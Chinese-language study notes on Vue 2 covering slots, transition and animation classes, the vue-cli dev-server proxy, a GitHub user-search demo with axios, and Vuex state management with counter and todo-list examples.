</template>

在可能会传进来的地方放上 <slot name="xxx">AAA</slot> 标签

image-20220131112326925

# 父组件: Parent.vue

<child>
	<div slot="xxx">xxx 对应的标签结构</div>
	<div slot="yyy">yyyy 对应的标签结构</div>
</child>

值得注意的是比如说我们在父组件里使用的子组件标签之间用了其他标签比如说图片等等等,那么是会在我们父组件解析完了传到__子组件的插槽中 (slot 标签)__, 然后理所当然的我们可以子组件写那些插槽接收过来的那些标签的样式 (用的类名都是传来的那些标签本来设置好的,别写什么 slot… 在样式里面)

当然我们也可以在父组件里面写好那些标签的样式,然后之后__传给子组件插槽的就是已经解析并且有了样式的标签__

# 插槽也可以实现子组件 “传” 父组件数据 (作用域插槽)

子组件里面:

image-20220131114538543

父组件:

image-20220131115948934

这个传的 games 数据,因为出现在 slot 标签上,代表着父组件里面要是给这个子组件标签之间放了插槽的标签,那么这个插槽的标签就会替换掉这个子组件里面的这个 slot 标签 (跟上面学的一样), 然后这个所设的 games 数据就会给到我们插入插槽的那个标签

谁往里面塞结构,那么这个 games 数据就传给谁

当然在父组件其他地方想用这个数据是肯定不行的,只有我们插入这个有插槽并且给数据子组件标签的插入标签才有那个数据

image-20220131120138778

image-20220131120217716

image-20220131120300665
image-20220131120312623

作用域插槽也可以有名字


# 动画 (没有细记)

image-20220130182034394image-20220130182042319

# vue 动画的理解

操作 css 的 trasitionanimation

vue 会给目标元素添加 / 移除特定的 class

# 基本过渡动画的编码

  1. 在目标元素外包裹
  2. 定义 class 样式
    1>. 指定过渡样式: transition
    2>. 指定隐藏时的样式: opacity / 其它

# 过渡的类名

xxx-enter-active: 指定显示的 transition
xxx-leave-active: 指定隐藏的 transition
xxx-enter: 指定隐藏时的样式

# 过渡代码示例

/* 显示/隐藏的过渡效果 */
.xxx-enter-active, .xxx-leave-active{
    transition: opacity 0.5s;
}
/* 隐藏时的样式  */
.xxx-enter, .xxx-leave-to{
    opacity: 0;
}

.move-enter-active {
    transition: all 1s;
}
.move-leave-active {
    transition: all 3s;
}
.move-enter, .move-leave-to {
    opacity: 0;
    transition: translateX(20px);
}
<body>
    <div id="demo1">
        <button @click="isShow=!isShow">过渡1</button>
        <transition name="xxx">
            <p v-show="isShow">YK菌学前端</p>
        </transition>   
    </div>

    <div id="demo2">
        <button @click="isShow=!isShow">过渡2</button>
        <transition name="move">
            <p v-show="isShow">YK菌天天学前端</p>
        </transition>
    </div>

    <script src="../js/vue.js"></script>
    <script> new Vue({
            el: "#demo1",
            data() {
                return {
                    isShow: true
                }
            }
        })

        new Vue({
            el: "#demo2",
            data: {
                isShow:true
            }
        }) </script>
</body>

<template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>
		<transition-group name="hello" appear>
			<h1 v-show="!isShow" key="1">你好啊!</h1>
			<h1 v-show="isShow" key="2">尚硅谷!</h1>
		</transition-group>
	</div>
</template>

<script> export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	} </script>

<style scoped> h1{
		background-color: orange;
	}
	/* 进入的起点、离开的终点 */
	.hello-enter,.hello-leave-to{
		transform: translateX(-100%);
	}
	.hello-enter-active,.hello-leave-active{
		transition: 0.5s linear;
	}
	/* 进入的终点、离开的起点 */
	.hello-enter-to,.hello-leave{
		transform: translateX(0);
	} </style>

# 动画代码示例

.bounce-enter-active {
    animation: bounce-in .5s;
}
.bounce-leave-active {
    animation: bounce-in .5s reverse;
}
@keyframes bounce-in {
    0% {
        transform: scale(0);
        }
    50% {
        transform: scale(1.5);
    }
    100% {
        transform: scale(1);
    }
}
<body>
    <div id="example-2">
        <button @click="show = !show">Toggle show</button><br>
        <transition name="bounce">
          <p v-if="show" style="display: inline-block;">YK菌一直在学前端</p>
        </transition>
      </div>

      <script src="../js/vue.js"></script>
      <script>
        new Vue({
            el: '#example-2',
            data: {
                show: true
            }
        })
      </script>
</body>

<template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>
		<transition name="hello" appear>
			<h1 v-show="isShow">你好啊!</h1>
		</transition>
	</div>
</template>

<script> export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	} </script>

<style scoped> h1{
		background-color: orange;
	}

	.hello-enter-active{
		animation: atguigu 0.5s linear;
	}

	.hello-leave-active{
		animation: atguigu 0.5s linear reverse;
	}

	@keyframes atguigu {
		from{
			transform: translateX(-100%);
		}
		to{
			transform: translateX(0px);
		}
	} </style>

# 使用第三方动画库

https://animate.style/

<template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>
		<transition-group 
			appear
			name="animate__animated animate__bounce" 
			enter-active-class="animate__swing"
			leave-active-class="animate__backOutUp"
		>
			<h1 v-show="!isShow" key="1">你好啊!</h1>
			<h1 v-show="isShow" key="2">尚硅谷!</h1>
		</transition-group>
	</div>
</template>

<script> import 'animate.css'
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	} </script>

<style scoped> h1{
		background-color: orange;
	} </style>

# 总结

  1. 作用:在插入、更新或移除 DOM 元素时,在合适的时候给元素添加样式类名。

  2. 写法:

    1. 准备好样式:

      • 元素进入的样式:
        1. v-enter:进入的起点
        2. v-enter-active:进入过程中
        3. v-enter-to:进入的终点
      • 元素离开的样式:
        1. v-leave:离开的起点
        2. v-leave-active:离开过程中
        3. v-leave-to:离开的终点
    2. 使用 <transition> 包裹要过度的元素,并配置 name 属性:

<transition name="hello">
	<h1 v-show="isShow">你好啊!</h1>
</transition>
  1. 备注:若有多个元素需要过渡,则需要使用: <transition-group> ,且每个元素都要指定 key 值。

# 配置代理,Ajax (Axios),Github 实例

# 使用 Vue-cli 配置代理

image-20220130195350353

配置代理服务器来解决跨域问题

vue-cli 脚手架可以帮助我们开启代理服务器

# 方法一

在__vue.config.js__中添加如下配置:

devServer:{
  proxy:"http://localhost:5000"
}

注意!

你当前所处的服务器,也就是你输入 npm run serve 会开启一个服务器 http://localhost:8080 (这个是 vue-cli 帮我们开的), 这个服务器是用来支撑我们 vue-cli 脚手架运行

我们上面设置的这个代理服务器__默认__(IP, 端口和协议和我们支撑 vue-cli 脚手架是一样的!!!) 所以也是 http://localhost:8080

而我们要改的那个值是告诉我们的代理服务器将请求转发给谁,我们想将请求 (以及接收 response 来自) 转发给 http://localhost:5000 这个服务器,所以我们就设置这个就对了

然后之后我们前端 ajax 请求请求的都是 http://localhost:8080 这个代理服务器即可

注意!这个代理服务器其实就是我们 vue project 里面的那个 public 文件夹,里面所有有的东西这个代理服务器都有

要是我们想要用代理服务器去请求一个别的服务器比如说叫 ABC 的资源,而我们 public 文件夹本身就有一个叫 ABC 的文件,那么这个代理服务器直接就把 public 的那个 (也是他自己有的) 那个 ABC 文件返回给你

说明:

  1. 优点:配置简单,请求资源时直接发给前端(8080)即可。
  2. 缺点:不能配置多个代理,不能灵活的控制请求是否走代理
  3. 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源)

# 方法二

编写 vue.config.js 配置具体代理规则:

module.exports = {
	devServer: {
      proxy: {
      '/api1': {// 匹配所有以 '/api1'开头的请求路径
        target: 'http://localhost:5000',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api1': ''}
      },
      '/api2': {// 匹配所有以 '/api2'开头的请求路径
        target: 'http://localhost:5001',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api2': ''}
      }
    }
  }
}
/*
   changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
   changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
   changeOrigin默认值为true
*/

他那个 api1,api2 可以随便写的,这是为了灵活的控制请求是否走代理

记住要是写的是 api1, 那么在我们前端 ajax 请求的 url 是

目标服务器协议://目标服务器IP:目标服务器端口/api1/目标服务器中的任何资源 // 在端口后面写上 api1

然后在上面设置中我们需要设置 pathRewrite, 让这个代理服务器请求的时候别把那个 api1 也给带上 (官方文档有这方面最新的解决办法)

这么做可以弄多个代理

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
  2. 缺点:配置略微繁琐,请求资源时必须加前缀。

# 准备工作

界面拆分

# 静态页面

# index.html

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <title>demo_ajax</title>
    <link rel="stylesheet" href="./static/users_page/bootstrap.css">
  </head>
  <body>
    <div id="app"></div>
    <!-- built files will be auto injected -->
  </body>
</html>

# App.vue

<template>
  <div class="container">
    <search />
    <users-main />
  </div>
</template>

<script>
import Main from "./components/Main.vue";
import Search from "./components/Search.vue";

export default {
  components: { Search, UsersMain: Main }, //不能用main作为标签名,就换一个名字
};
</script>

<style>
</style>

# Search.vue

<template>
  <section class="jumbotron">
    <h3 class="jumbotron-heading">Search Github Users</h3>
    <div>
      <input type="text" placeholder="enter the name you search" />
      <button>Search</button>
    </div>
  </section>
</template>

<script>
export default {};
</script>

<style>
</style>

# Main.vue

<template>
  <div class="row">
    <div class="card">
      <a href="https://github.com/reactjs" target="_blank">
        <img
          src="https://avatars.githubusercontent.com/u/6412038?v=3"
          style="width: 100px"
        />
      </a>
      <p class="card-text">reactjs</p>
    </div>
    <div class="card">
      <a href="https://github.com/reactjs" target="_blank">
        <img
          src="https://avatars.githubusercontent.com/u/6412038?v=3"
          style="width: 100px"
        />
      </a>
      <p class="card-text">reactjs</p>
    </div>
    <div class="card">
      <a href="https://github.com/reactjs" target="_blank">
        <img
          src="https://avatars.githubusercontent.com/u/6412038?v=3"
          style="width: 100px"
        />
      </a>
      <p class="card-text">reactjs</p>
    </div>
    <div class="card">
      <a href="https://github.com/reactjs" target="_blank">
        <img
          src="https://avatars.githubusercontent.com/u/6412038?v=3"
          style="width: 100px"
        />
      </a>
      <p class="card-text">reactjs</p>
    </div>
    <div class="card">
      <a href="https://github.com/reactjs" target="_blank">
        <img
          src="https://avatars.githubusercontent.com/u/6412038?v=3"
          style="width: 100px"
        />
      </a>
      <p class="card-text">reactjs</p>
    </div>
  </div>
</template>

<script> export default {}; </script>

<style> .card {
  float: left;
  width: 33.333%;
  padding: .75rem;
  margin-bottom: 2rem;
  border: 1px solid #efefef;
  text-align: center;
}

.card > img {
  margin-bottom: .75rem;
  border-radius: 100px;
}

.card-text {
  font-size: 85%;
} </style>

# 初始化显示

# main.vue

<template>
  <div>
    <h2 v-if="firstView">请输入用户名搜索</h2>
    <h2 v-if="loading">Loading...</h2>
    <h2 v-if="errorMsg">{{errorMsg}}</h2>
    <div class="row">
      <div class="card" v-for="(user, index) in users" :key="index">
        <a :href="user.url" target="_blank">
          <img
            :src="user.avatar_url"
            style="width: 100px"
          />
        </a>
        <p class="card-text">{{user.name}}</p>
      </div>
    </div>
  </div>
</template>

<script> export default {
  data() {
    return {
      // 界面有四个状态
      firstView: true,
      loading: false,
      users: null, //[{url:'', avatar_url: '', name: ''}]
      errorMsg: ''
    };
  },
}; </script>

# 交互功能实现

输入关键字点击搜索,界面发生变化

# Search.vue

<template>
  <section class="jumbotron">
    <h3 class="jumbotron-heading">Search Github Users</h3>
    <div>
      <input
        type="text"
        placeholder="enter the name you search"
        v-model="searchName"
      />
      <button @click="search">Search</button>
    </div>
  </section>
</template>

<script> import PubSub from "pubsub-js";
export default {
  data() {
    return {
      searchName: "",
    };
  },
  methods: {
    search() {
      const searchName = this.searchName.trim();
      if (searchName) {
        // 发布搜索的消息
        PubSub.publish("search", searchName);
      }
    },
  },
}; </script>

<style>  </style>

# Main.vue

<template>
  <div>
    <h2 v-if="firstView">请输入用户名搜索</h2>
    <h2 v-if="loading">Loading...</h2>
    <h2 v-if="errorMsg">{{ errorMsg }}</h2>
    <div class="row" v-else>
      <div class="card" v-for="(user, index) in users" :key="index">
        <a :href="user.url" target="_blank">
          <img :src="user.avatar_url" style="width: 100px" />
        </a>
        <p class="card-text">{{ user.name }}</p>
      </div>
    </div>
  </div>
</template>

<script> import PubSub from "pubsub-js";
import axios from "axios";
export default {
  data() {
    return {
      // 界面有四个状态
      firstView: true,
      loading: false,
      users: null, //[{url:'', avatar_url: '', name: ''}]
      errorMsg: "",
    };
  },
  mounted() {
    // 订阅搜索的消息
    PubSub.subscribe("search", (msg, searchName) => {
      // 说明需要发ajax请求搜索
      const url = `https://api.github.com/search/users?q=${searchName}`;

      //更新状态(请求中)
      this.firstView = false;
      this.loading = true;
      this.users = null;
      this.errorMsg = "";

      // 发ajax状态
      axios
        .get(url)
        .then((response) => {
          const result = response.data;
          const users = result.items.map((item) => ({
            url: item.html_url,
            avatar_url: item.avatar_url,
            name: item.login,
          }));
          // 成功, 更新状态(成功)
          this.loading = false;
          this.users = users;
        })
        .catch((error) => {
          // 失败, 更新状态(失败)
          this.loading = false;
          this.errorMsg = "请求失败";
        });
    });
  },
}; </script>

# 效果展示

注意!!!

image-20220131023159992

上面这个代码很妙,我们想让 info 这个对象接收来自于 updatedData 对象里面他已经有的数据,也就是

  • 如果 updatedData 里面有的键我们 info 也有,我们希望把这些键替换成 updatedData 里面的键 (和值).

  • 如果 info 里面有的键,要是 updatedData 里面没有,就继续留在 info 里面

我们上面做法是先用扩展运算符把 info 和 updatedData 里面的每对键值都放作为一个一个参数放进一个对象里面,然后要是有重复键名,后面的键名与他的值会覆盖掉之前重复键名的那个键与他的值,这样我们就可以得到我们想要的数据

几个注意点:

  • 要是有很多全局事件都是从一个组件触发然后带着数据让另外一个绑定事件的组件接收,我们可以考虑将这些全局事件__融为一个,只是传参的时候把需要的都一块给传过去__
  • 要是函数传的参数太多, 考虑使用都存在一个对象里面,然后传对象就行了 (一旦用上对象数组这些就时刻想着能用什么原生 js,es6 等方法处理接收到的数据或者各种 process 以达到我们想要的效果)
  • 一般函数传参很多参数都是要顺序的,要是传对象我们是按照键名传的,接收也是看键名接收,那么顺序就可以随便,不用像函数那么麻烦

# Vuex

# vuex 理解

# 是什么

  1. github 站点: https://github.com/vuejs/vuex
  2. 在线文档: https://vuex.vuejs.org/zh-cn/
  3. 简单来说:对 vue 应用中多个组件的共享状态进行集中式的管理 (读 /)

特别是多个组件要依赖这个状态 (数据), 想要对他进行读或者写,那么 vuex 是比全局事件总线方式传递数据更好

image-20220131130504225

# 状态自管理应用

  1. state: 驱动应用的数据源
  2. view: 以声明方式将 state 映射到视图
  3. actions: 响应在 view 上的用户输入导致的状态变化 (包含 n 个更新状态的方法)

# 多组件共享状态的问题

  1. 多个视图 (组件) 依赖于同一状态 (数据)
  2. 来自不同视图的行为需要变更同一状态
  3. 以前的解决办法
    a. 将数据以及操作数据的行为都定义在父组件
    b. 将数据以及操作数据的行为传递给需要的各个子组件 (有可能需要多级传递)
  4. vuex 就是用来解决这个问题的

# vuex 核心概念和 API

image-20220203231023615

  • 首先 npm i vuex

  • 然后 Vue.use(Vuex) , 因为 vuex 是个插件

  • 然后创建 store (包含着 actions,mutations,state 这__三个对象__), 因为这个 store 身上才有 commit,dispatch 这些函数, 所以必须要让所有组件看的找 store

  • 然后再 new Vue 创建 vm 的时候就可以传一个 store配置项

image-20220203232210189

_这么做,不光光只是 vm, 所有的组件,所有的组件!!!现在都有了 $store 属性_

  • 然后现在可以在 src 文件夹下新建一个 vuex 文件夹,这个 vuex 文件夹再建一个 store.js

store.js:

image-20220203232931837

然后在我们 vm (main.js 那里), 导入并使用

image-20220203233154195

但是上面这么做会报错!!!

这是因为 (js 模块化), 我们是先引入的 store 里面的 index.js 也就是我们想要导出的 store (给 vm 的配置项)

而要是使用 import, 那么就就会马上执行那个文件里面的代码,这样才知道这里想要 import 的是什么好让我们之后用

而我们后面才有的 Vue.use (Vuex)

如果在 Vue.use (Vuex) 之前就导入这个 store 就会报错

因为我们在 store 那个文件中,用 new Vuex.Store (Vuex 上的属性 Store, 这个 Store 是个构造函数) 创造出来了一个 store 实例化对象

如果你要是这么做:

image-20220203233810054

将 store 的导入也就是 store 实例化放在 Vue.use (Vuex) 后面了, 还是会报错

这是因为__ES6 的 import 会提升至开头__

所以不管你 import 语句在哪里,都会被提升到最上面去,所以上面还是有问题

所以我们干脆把 Vue.use (Vuex) 放到那个导入 main.js 的那个 store 文件 (可能是 store.js 也可能是 index.js), 在那个文件里面,我们把 Vue.use (Vuex) 放到 store 的实例化之前就可以了

image-20220203234410291

这样我们就可以在__所有的 vm 和 vc 身上看到这个 $store 属性__, 并且 vue 会自动帮我们给里面各种方法给弄好

image-20220203234620299

# state

  1. vuex 管理的状态对象

  2. 它应该是唯一的

const state = {
	xxx: initValue
}

# mutations

  1. 包含多个直接更新 state 的方法 (回调函数) 的对象
  2. 谁来触发: action 中的 commit (‘mutation 名称’)
  3. 只能包含同步的代码,不能写异步代码
const mutations = {
	yyy (state, {data1}) {
		// 更新state 的某个属性
	}
}

# actions

  1. 包含多个事件回调函数的对象
  2. 通过执行: commit () 来触发 mutation 的调用,间接更新 state
  3. 谁来触发:组件中: $store.dispatch (‘action 名称’, data1) // ‘zzz’
  4. 可以包含异步代码 (定时器,ajax)
const actions = {
	zzz ({commit, state}, data1) {
		commit('yyy', {data1})
	}
}

# getters

  1. 包含多个计算属性 (get) 的对象
  2. 谁来读取:组件中: $store.getters.xxx
const getters = {
	mmm (state) {
		return ...
	}
}

# modules

  1. 包含多个 module
  2. 一个 module 是一个 store 的配置对象
  3. 与一个组件 (包含有共享数据) 对应

# 向外暴露 store 对象

export default new Vuex.Store({
	state,
	mutations,
	actions,
	getters
})

# 组件中

import {mapState, mapGetters, mapActions} from 'vuex'
export default {
	computed: {
		...mapState(['xxx']),
		...mapGetters(['mmm']),
	}
	methods: mapActions(['zzz'])
}
{{xxx}} {{mmm}} @click="zzz(data)"

# 映射 store

import store from './store'
new Vue({
	store
})

# store 对象

  1. 所有用 vuex 管理的组件中都多了一个属性 $store, 它就是一个 store 对象
  2. 属性:
    state: 注册的 state 对象
    getters: 注册的 getters 对象
  3. 方法:
    dispatch(actionName, data) : 分发调用 action

# demo1: 计数器

# store.js

/**
* vuex 的store 对象模块
*/
import Vue from 'vue'
import Vuex from 'vuex'
Vue.use(Vuex)
/*
state 对象
类似于data
*/
const state = {
	count: 0 // 初始化状态数据
}
/*
mutations 对象
包含个方法: 能直接更新state
一个方法就是一个mutation
mutation 只能包含更新state 的同步代码, 也不会有逻辑
mutation 由action 触发调用: commit('mutationName')
*/
const mutations = {
	INCREMENT(state) {
		state.count++
	},
	DECREMENT (state) { // ctrl + shift + x
		state.count--
	}
}
/*
actions 对象
包含个方法: 触发mutation 调用, 间接更新state
一个方法就是一个action
action 中可以有逻辑代码和异步代码
action 由组件来触发调用: this.$store.dispatch('actionName')
*/
const actions = {
	increment ({commit}) {
		commit('INCREMENT')
	},
	decrement ({commit}) {
		commit('DECREMENT')
	},
	incrementIfOdd ({commit, state}) {
		if(state.count%2===1) {
			commit('INCREMENT')
		}
	},
	incrementAsync ({commit}) {
		setTimeout(() => {
			commit('INCREMENT')
		}, 1000)
	}
}
/*
getters 对象
包含多个get 计算计算属性方法
*/
const getters = {
	oddOrEven (state) {
		return state.count%2===0 ? '偶数' : '奇数'
	},
	count (state) {
		return state.count
	}
}
// 向外暴露store 实例对象
export default new Vuex.Store({
	state,
	mutations,
	actions,
	getters
})

# main.js

import Vue from 'vue'
import app from './app1.vue'
// import app from './app.vue'
import store from './store'
new Vue({
	el: '#app',
	render: h => h(app),
	store // 所有组件都多个一个属性: $store
})

# app.vue (未优化前)

<template>
<div>
<p>clicked: {{$store.state.count}} times, count is {{oddOrEven}}</p>
<button @click="increment">+</button>
<button @click="decrement">-</button>
<button @click="incrementIfOdd">increment if odd</button>
<button @click="incrementAsync">increment async</button>
</div>
</template>
<script> export default {
	computed: {
		oddOrEven () {
			return this.$store.getters.oddOrEven
		}
	},
	methods: {
		increment () {
			this.$store.dispatch('increment')
		},
		decrement () {
			this.$store.dispatch('decrement')
		},
		incrementIfOdd () {
			this.$store.dispatch('incrementIfOdd')
		},
		incrementAsync () {
			this.$store.dispatch('incrementAsync')
		}
	}
} </script>
<style>  </style>

# app2.vue (优化后)

<template>
<div>
<p>clicked: {{count}} times, count is {{oddOrEven2}}</p>
<button @click="increment">+</button>
<button @click="decrement">-</button>
<button @click="incrementIfOdd">increment if odd</button>
<button @click="incrementAsync">increment async</button>
</div>
</template>
<script>
import {mapGetters, mapActions} from 'vuex'
export default {
	computed: mapGetters({ // 名称不一样
		oddOrEven2: 'oddOrEven',
		count: 'count'
	}),
	methods: mapActions(['increment', 'decrement', 'incrementIfOdd', 'incrementAsync']) // 名称一样
}
</script>
<style>
</style>

# demo2: todo list

todo list.

# store/types.js

/**
* 包含多个mutation name
*/
export const RECEIVE_TODOS = 'receive_todos'
export const ADD_TODO = 'add_todo'
export const REMOVE_TODO = 'remove_todo'
export const DELETE_DONE = 'delete_done'
export const UPDATE_ALL_TODOS = 'update_all_todos'

# store/mutations.js

import {RECEIVE_TODOS, ADD_TODO, REMOVE_TODO, DELETE_DONE, UPDATE_ALL_TODOS} from
'./types'
export default {
	[RECEIVE_TODOS] (state, {todos}) {
		state.todos = todos
	},
	[ADD_TODO] (state, {todo}) {
		state.todos.unshift(todo)
	},
	[REMOVE_TODO] (state, {index}) {
		state.todos.splice(index, 1)
	},
	[DELETE_DONE] (state) {
		state.todos = state.todos.filter(todo => !todo.complete)
	},
	[UPDATE_ALL_TODOS] (state, {isCheck}) {
		state.todos.forEach(todo => todo.complete = isCheck)
	}
}

# store/actions.js

import storageUtil from '../util/storageUtil'
import {RECEIVE_TODOS, ADD_TODO, REMOVE_TODO, DELETE_DONE, UPDATE_ALL_TODOS} from './types'
export default {
	readTodo ({commit}) {
		setTimeout(() => {
			const todos = storageUtil.fetch()
			// 提交commit 触发mutation 调用
			commit(RECEIVE_TODOS, {todos})
		}, 1000)
	},
	addTodo ({commit}, todo) {
		commit(ADD_TODO, {todo})
	},
	removeTodo ({commit}, index) {
		commit(REMOVE_TODO, {index})
	},
	deleteDone ({commit}) {
		commit(DELETE_DONE)
	},
	updateAllTodos ({commit}, isCheck) {
		commit(UPDATE_ALL_TODOS, {isCheck})
	}
}

# store/getters.js

export default {
	todos (state) {
		return state.todos
	},
	totalSize (state) {
		return state.todos.length
	},
	completeSize (state) {
		return state.todos.reduce((preTotal, todo) => {
			return preTotal + (todo.complete ? 1 : 0)
		}, 0)
	},
	isAllComplete (state, getters) {
		return getters.totalSize===getters.completeSize && getters.totalSize>0
	}
}

# store/index.js

import Vue from 'vue'
import Vuex from 'vuex'
import mutations from './mutations'
import actions from './actions'
import getters from './getters'
Vue.use(Vuex)
const state = {
	todos: []
}
export default new Vuex.Store({
	state,
	mutations,
	actions,
	getters
})

# components/app.vue

<template>
<div class="todo-container">
<div class="todo-wrap">
<todo-header></todo-header>
<todo-main></todo-main>
<todo-footer></todo-footer>
</div>
</div>
</template>
<script> import todoHeader from './todoHeader.vue'
import todoMain from './todoMain.vue'
import todoFooter from './todoFooter.vue'
import storageUtil from '../util/storageUtil'
export default {
	created () {
	// 模拟异步读取数据
	this.$store.dispatch('readTodo')
	},
	components: {
		todoHeader,
		todoMain,
		todoFooter
	}
} </script>
<style> .todo-container {
width: 600px;
margin: 0 auto;
}
.todo-container .todo-wrap {
padding: 10px;
border: 1px solid #ddd;

border-radius: 5px;
} </style>

# components/todoHeader.vue

<template>
<div class="todo-header">
<input type="text" placeholder="请输入你的任务名称,按回车键确认"
v-model="title" @keyup.enter="addItem"/>
</div>
</template>
<script type="text/ecmascript-6"> export default {
	data () {
		return {
			title: null
		}
	},
	methods: {
		addItem () {
			const title = this.title && this.title.trim()
			if (title) {
				const todo = {
					title,
					complete: false
				}
			this.$store.dispatch('addTodo', todo)
			this.title = null
			}
		}
	}
} </script>
<style> .todo-header input {
	width: 560px;
	height: 28px;
	font-size: 14px;
	border: 1px solid #ccc;
	border-radius: 4px;
	padding: 4px 7px;
}
.todo-header input:focus {
	outline: none;
	border-color: rgba(82, 168, 236, 0.8);
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
} </style>

# components/todoMain.vue

<template>
<ul class="todo-main">
<todo-item v-for="(todo, index) in todos" :todo="todo" :key="index" :index="index"></todo-item>
</ul>
</template>
<script type="text/ecmascript-6">
import todoItem from './todoItem'
import storageUtil from '../util/storageUtil'
export default {
	components: {
		todoItem
	},
	computed: {
		todos () {
			return this.$store.getters.todos
		}
	},
	watch: {
		todos: {// 深度监视todos, 一旦有变化立即保存
		}
	}
}
</script>

# 总结 Vuex

# 1. 概念

在 Vue 中实现集中式状态(数据)管理的一个 Vue 插件,对 vue 应用中多个组件的共享状态进行集中式的管理(读 / 写),也是一种组件间通信的方式,且适用于任意组件间通信。

# 2. 何时使用?

多个组件需要共享数据时

# 3. 搭建 vuex 环境

  1. 创建文件: src/store/index.js
//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)

//准备actions对象——响应组件中用户的动作
const actions = {}
//准备mutations对象——修改state中的数据
const mutations = {}
//准备state对象——保存具体的数据
const state = {}

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state
})
  1. main.js 中创建 vm 时传入 store 配置项
......
//引入store
import store from './store'
......

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	store
})

# 4. 基本使用

  1. 初始化数据、配置 actions 、配置 mutations ,操作文件 store.js
//引入Vue核心库
   import Vue from 'vue'
   //引入Vuex
   import Vuex from 'vuex'
   //引用Vuex
   Vue.use(Vuex)
   
   const actions = {
       //响应组件中加的动作
   	jia(context,value){
   		// console.log('actions中的jia被调用了',miniStore,value)
   		context.commit('JIA',value)
   	},
   }
   
   const mutations = {
       //执行加
   	JIA(state,value){
   		// console.log('mutations中的JIA被调用了',state,value)
   		state.sum += value
   	}
   }
   
   //初始化数据
   const state = {
      sum:0
   }
   
   //创建并暴露store
   export default new Vuex.Store({
   	actions,
   	mutations,
   	state,
   })
  1. 组件中读取 vuex 中的数据: $store.state.sum

  2. 组件中修改 vuex 中的数据: $store.dispatch('action中的方法名',数据)$store.commit('mutations中的方法名',数据)

    备注:若没有网络请求或其他业务逻辑,组件中也可以越过 actions,即不写 dispatch ,直接编写 commit

  • 首先 state 对象里面存的就是各种我们多个组件都会用到 (读 / 写) 的数据 X
  • 然后在一个组件 A 里面比如说想要用这个数据 X, 所以我们可以在那个组件的模板可以使用 $store.state.X 就可以读取到那个数据 (不需要前面加上 this, 因为每个组件的模板里面都能看到他那个组件里面的所有东西,所以不需前面加 this)
  • 现在比如说我们组件 A 模板有个按钮,按按钮会让这个数据 X 的值加 1
  • 我们可以 @click=“increment”, 然后在组件 A 里面的 methods 里面写上个 increment 方法:

image-20220204000612001

  • 这里面调用了 $store 里面的 dispatch 方法,然后传入了 'jia' , 和组件 A 里面自己的数据 n .
  • 这个 dispatch 方法会去 store 里面的 actions 对象去找这个名为 'jia' 的方法,所以我们需要在 actions 对象里面写上一个方法

image-20220204000902721

  • 这个 actions 里面的这个方法的第一个参数会默认被系统传入一个__很像很像 store 的一个对象,但不是 store (缺少了部分 store 上面的属性和方法)__, 这个参数的目的就是让我们调用各种方法,特别是 commit 方法让 mutations 对象接手下一步.
  • 然后这个第二个参数就是我们在组件 A 里面调用 dispatch 方法时传入的那个第二个参数也就是组件 A 里面的数据 n
  • 我们这时候需要再使用 commit 方法,这个方法传入了 'JIA' (一般这给 mutations 的都大写,好区分), 和那个我们参数 value , 也就是想当初从组件 A 传来的 n
  • 这个 commit 方法会让 mutations 对象里面名字为 'JIA' 的触发 (所以我们要写一个)

image-20220204001600897

  • 这个 mutations 对象里面的 'JIA' 方法也有两个参数,第一个是 state 是系统默认传给我们的,指的就是我们 state 对象,所以现在我们就可以用 state.X 或者各种想当初我们在组件 A 里面想改的数据做出相对应的改变,第二个参数也是想当初组件 A 里面的数据 n . 这个 mutations 这块感觉像是 dao 层,有着 sql 语句 (state 对象作为参数) 操控 state 对象存的数据

  • state 对象里面的数据因为 mutations 对象里方法里面的操作改变了,所以之后再任何组件里面用 this.(或者模板表达式里面不需要用 this.)$store.state. 数据就可以获取到那个数据的值,想要改就要通过 this.$store.dispatch (‘…’,…), 然后上面的重复一遍

  • 注意这个 state 对象 (就像是个数据库) 身上他的那些数据也都是通过数据代理 (有 getter 和 setter 的), 检测数据改变原理跟 vue 是一样的 (所以这里一样,如果数据被改变 -> 调用 setter->… 反正肯定会到__解析模板的代码__等等等)

    跟 vue 的 data 变成_data 然后都给匹配上 getter 和 setter 一样,state 也是只不过不是_state, 就是 state

  • 注意我们可能在 actinos 对象里面的那个函数里面加上各种业务逻辑,比如说各种 if, 各种计时器,ajax, 等等等等等,然后只有在想要的时候再 call 那个 commit 方法让 mutations 对象里面的被想要调用的方法接手然后对 state 对象里面的存的数据做出改变
  • 这个 actions 对象里面的那个函数的第一个参数也就是那个上下文对象 (context, 像是迷你版的 store 对象), 这个对象上面也有 state 对象,所以当然也有 state 对象上面的所有数据,所以我们也可以在 actions 对象里面的那个函数里面来拿数据做各种判断等等等,但要真改还是 commit 让 mutations 层的做。这个上下文对象还有 dispatch 方法,也就是说要是当前 actions 里面的这个方法里面还可以继续 dispatch 传给下一个函数 so on… 直到 commit

相当于给前端加了一个数据库,state 就是存数据的,actions 相当于接口,mutations 的方法相当于 sql 语句

(actions 相当于 Service 层,Mutations 相当于 Dao 层,State 相当于数据库,VueComponent 相当于 Controller 层)

所有业务逻辑都放在 actions 部分,所有基础操作 (比如说加就是加,减就是减,别各种条件 (if 等等等)) 都放在 mutations 部分

